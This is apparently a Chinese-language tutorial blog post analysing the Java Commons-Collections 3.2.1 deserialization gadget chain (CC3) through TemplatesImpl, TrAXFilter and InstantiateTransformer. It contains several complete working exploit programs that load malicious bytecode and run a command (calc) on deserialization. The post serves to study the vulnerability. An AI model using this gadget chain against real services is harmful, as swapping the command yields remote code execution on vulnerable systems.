Java反序列化 CC3链分析

前言

如果你学习了CC1和CC2,会发现CC3跟前两个很像,其实CC3链复用了CC1的触发机制,但替换了最终的执行payload,改为动态类加载执行任意代码,建议先看看前两篇文章,后面理解起来也会更容易

Java反序列化 CC1链分析 (LazyMap)

Java反序列化 CC2链分析

环境准备

咱们待会用javassist来动态生成恶意类,所以修改pom.xml文件如下,当然也可以不用javassist,我们留在最后面来讲讲

1
2
3
4
5
6
7
8
9
10
11
12
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.22.0-GA</version>
</dependency>
</dependencies>

然后在Maven同步项目即可

初步探索

CC3的命令执行方式为动态类加载,利用点在defineClass()方法这里

Java中的defineClass方法,作用是将传入的字节码数据转换成JVM中可运行的Java类对象,也就是负责将一段字节流(通常是编译后的class字节码)转换成java.lang.Class实例并返回对应的Class对象

然后我们alt+F7查找用法,发现TemplatesImpl类调用了defineClass()方法

继续查找用法,看看defineClass在该类的哪里被使用,发现被defineTransletClasses方法调用

那我们跟进这个方法,来详细分析一下

有很多条件,咱们一个个来分析

要求_bytecodes不为null,后面会遍历_bytecodes数组进行类加载,_bytecodes就传入我们的恶意字节码

接着是调用_tfactorygetExternalExtensionsMap()方法,这就要求_tfactory不为null,但是我们看看定义

发现_tfactorytransient修饰,也就是当对象序列化时,该成员变量不会跟着被序列化,该变量在新对象里会变成默认值null,那怎么办

我们继续分析,发现readObject方法里对_tfactory初始化了,那我们就可以不用管这个了

接着就是最后一个条件,要求父类为ABSTRACT_TRANSLET,通过则_transletIndex = i,在这里也就是0,因为_transletIndex默认为-1,所以这一步我们不能跳过

解决完问题后,我们继续分析,因为defineTransletClassesprivate,所以我们往上看看哪里有调用这个方法

查找用法,发现getTransletInstance调用了该方法,要求_name不为null且_class要等于null,_name我们随便传个值就好。但是该方法还是private,还得继续往上找

继续分析,发现newTransformer方法调用了getTransletInstance,同时还是public修饰符,那问题就解决了

我们尝试编写测试代码验证,先用Javassist动态生成恶意类,然后转化为字节码byte数组,跟CC2的链2一样,具体可以看Java反序列化 CC2链分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 获取javassist类池,插入AbstractTranslet类所在的路径,然后创建新的空类Evil
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Evil");
// 在静态初始化块中插入恶意命令代码,需要用到 makeClassInitializer()
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
cc.makeClassInitializer().insertBefore(cmd);
// 继承AbstractTranslet类
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
// 避免文件名重复
String rename = "Evil" + System.nanoTime();
cc.setName(rename);
cc.writeFile();
// 将动态类转为字节码byte数组
byte[] bytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{bytes};

实例化后效果如下

为了节省位置,咱们写个函数setFieldValue来实现反射,测试exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public class Main {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
String rename = "Evil" + System.nanoTime();
cc.setName(rename);
cc.writeFile();
byte[] bytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{bytes};

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "test");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_bytecodes", targetByteCodes);
// 因为这里不是反序列化,没有触发readObject,所以_tfactory要利用反射设置值为TransformerFactoryImpl对象
// 后面完整的exp就不需要写这个了
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

templates.newTransformer();

}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

成功弹出计算器

逐步完善

接下来就是寻找如何触发newTransformer,发现TrAXFilter类调用了该方法

然后我们想办法实例化这个类,传入参数templates,这里CC3作者找到了InstantiateTransformer类来实例化对象,我们分析一下

可以看到尝试获取构造器并进行实例化,那我们给InstantiateTransformer.transform()传入TrAXFilter.class即可,怎么传呢,咱们用ChainedTransformerConstantTransformer,接下来的方法跟CC1的LazyMap链一样,因为篇幅比较长,这里就不讲了,可以参考文章Java反序列化 CC1链分析 (LazyMap)

为了更直观的感受,这里放个CC3的图

最终利用

综上,我们构造完整exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
public class Main {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
String rename = "Evil" + System.nanoTime();
cc.setName(rename);
cc.writeFile();
byte[] bytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{bytes};

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "test");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_bytecodes", targetByteCodes);

Class cs = TrAXFilter.class;
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(cs),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map<Object, Object> map = new HashMap<>();
Map decorate = LazyMap.decorate(map, chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationConstructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) annotationConstructor.newInstance(Override.class, decorate);

Map proxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);
Object o = annotationConstructor.newInstance(Override.class, proxy);

try{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc3.ser"));
objectOutputStream.writeObject(o);
objectOutputStream.close();
}catch (Exception e){
e.printStackTrace();
}

try{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc3.ser"));
objectInputStream.readObject();
objectInputStream.close();
}catch (Exception e){
e.printStackTrace();
}

}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

成功弹出计算器

手工构建恶意类

如果我们不用Javassist的话,就需要手工构建恶意类,然后生成class

这时候pom.xml就不需要添加Javassist依赖了

1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

因为恶意类要继承AbstractTranslet,这就需要我们去实现transform抽象方法,否则会报错,当然也可以用IDEA自动添加,更方便

构建代码如下,要写静态代码static,因为存在静态初始化方法的类,在该类首次被加载并初始化时执行一次,如反射、创建实例、访问静态成员等,该方法都会被自动调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;

public class Evil extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

然后用Java8执行命令,构建class文件

1
javac Evil.java

接着修改我们之前的exp,把Javassist动态生成类的那一部分替换成读取我们的恶意类路径,例如

1
2
byte[] bytes = Files.readAllBytes(Paths.get("E:\\test\\Evil.class"));
byte[][] targetByteCodes = new byte[][]{bytes};

完整代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
public class Main {
public static void main(String[] args) throws Exception {
byte[] bytes = Files.readAllBytes(Paths.get("E:\\test\\Evil.class"));
byte[][] targetByteCodes = new byte[][]{bytes};

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "test");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_bytecodes", targetByteCodes);

Class cs = TrAXFilter.class;
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(cs),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map<Object, Object> map = new HashMap<>();
Map decorate = LazyMap.decorate(map, chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationConstructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) annotationConstructor.newInstance(Override.class, decorate);

Map proxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);
Object o = annotationConstructor.newInstance(Override.class, proxy);

try{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc3.ser"));
objectOutputStream.writeObject(o);
objectOutputStream.close();
}catch (Exception e){
e.printStackTrace();
}

try{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc3.ser"));
objectInputStream.readObject();
objectInputStream.close();
}catch (Exception e){
e.printStackTrace();
}

}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

成功弹出计算器

作者

WayneJoon.H

发布于

2025-11-14

许可协议